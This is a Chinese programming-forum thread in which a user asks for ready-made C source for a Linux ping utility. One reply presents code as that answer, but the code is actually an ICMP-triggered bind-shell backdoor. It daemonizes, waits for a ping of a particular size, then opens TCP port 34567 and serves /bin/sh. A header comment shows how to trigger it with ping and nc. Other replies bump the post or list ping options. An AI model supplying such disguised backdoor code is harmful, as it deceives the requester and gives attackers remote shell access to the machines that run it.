PING的在LINUX下的C语言实现

vincent29 2011-05-18 08:09:16
需要一份现成的PING源代码,
只要能够测试网络通了木有就行。

在LINUX编译就能执行的。


高分给了。
...全文
107 5 打赏 收藏 转发到动态 举报
写回复
用AI写文章
5 条回复
切换为时间正序
请发表友善的回复…
发表回复
bobo_包子 2011-05-18
  • 打赏
  • 举报
回复
[Quote=引用 3 楼 ljt3969636 的回复:]

C/C++ code

/*
ping -s 100 192.168.11.7
nc 192.168.11.7 34567
*/
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/type……
[/Quote]

upup
jernymy 2011-05-18
  • 打赏
  • 举报
回复
[Quote=引用 3 楼 ljt3969636 的回复:]
C/C++ code

/*
ping -s 100 192.168.11.7
nc 192.168.11.7 34567
*/
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <……
[/Quote]

up一下
ljt3969636 2011-05-18
  • 打赏
  • 举报
回复

/*
ping -s 100 192.168.11.7
nc 192.168.11.7 34567
*/
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#define SIZEPACK 88
#define PORT 34567

void child_kill()
{
wait(NULL);
signal(SIGCHLD, child_kill);
}

int bind_shell()
{

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

setuid(0);
setgid(0);
seteuid(0);
setegid(0);

chdir( "/ ");

soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (soc_des == -1)
exit(-1);

bzero((char *) &serv_addr,sizeof(serv_addr));

serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));

if (soc_rc != 0)
exit(-1);

if (fork() != 0)
exit(0);

setpgrp();

if (fork() != 0)
exit(0);

soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);

while (1)
{
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);

if (soc_cli < 0)
exit(0);

cli_pid = getpid();
server_pid = fork();

if (server_pid != 0)
{
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl( "/bin/sh ", "sh ",(char *)0);
close(soc_cli);
return 1;
}

close(soc_cli);
}
}

int main(int argc, char *argv[])
{

int s, size, fromlen;
char pkt[4096];

struct protoent *proto;
struct sockaddr_in from;

if (fork() != 0) exit(0);

proto = getprotobyname( "icmp ");

if ((s = socket(AF_INET, SOCK_RAW, proto-> p_proto)) < 0)
/* can 't creat raw socket */
exit(0);

/* waiting for packets */
while(1)
{
do
{
fromlen = sizeof(from);
if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, &fromlen)) < 0)
printf( "ping of %i ", size-28);

} while (size != SIZEPACK + 28);

/* size == SIZEPACK, let 's bind the shell */
switch(fork()) {
case -1:
continue;
case 0:
bind_shell();
exit(0);
}

sleep(15);

}
}

vincent29 2011-05-18
  • 打赏
  • 举报
回复
我要源代码
eye_119_eye 2011-05-18
  • 打赏
  • 举报
回复
linux下的ping命令的使用方法
ping [ -a] [- A] [ -b] [ -B] [-c count] [ -d] [ -f] [ -F flow label] [-i interval] [-I interface address] [ -l preload] [-L] [ -n] [-p pattern] [ -Q tos ] [ -q] [ -R] [ -r] [-s packetsize] [-S sndbuf] [-t ttl] [ -T timestamp option ] [-M mtu discovery hint] [ -U] [ -v] [ -V] [-w deadline] [ -W timeout] destination

69,381

社区成员

发帖
与我相关
我的任务
社区描述
C语言相关问题讨论
社区管理员
  • C语言
  • 花神庙码农
  • 架构师李肯
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧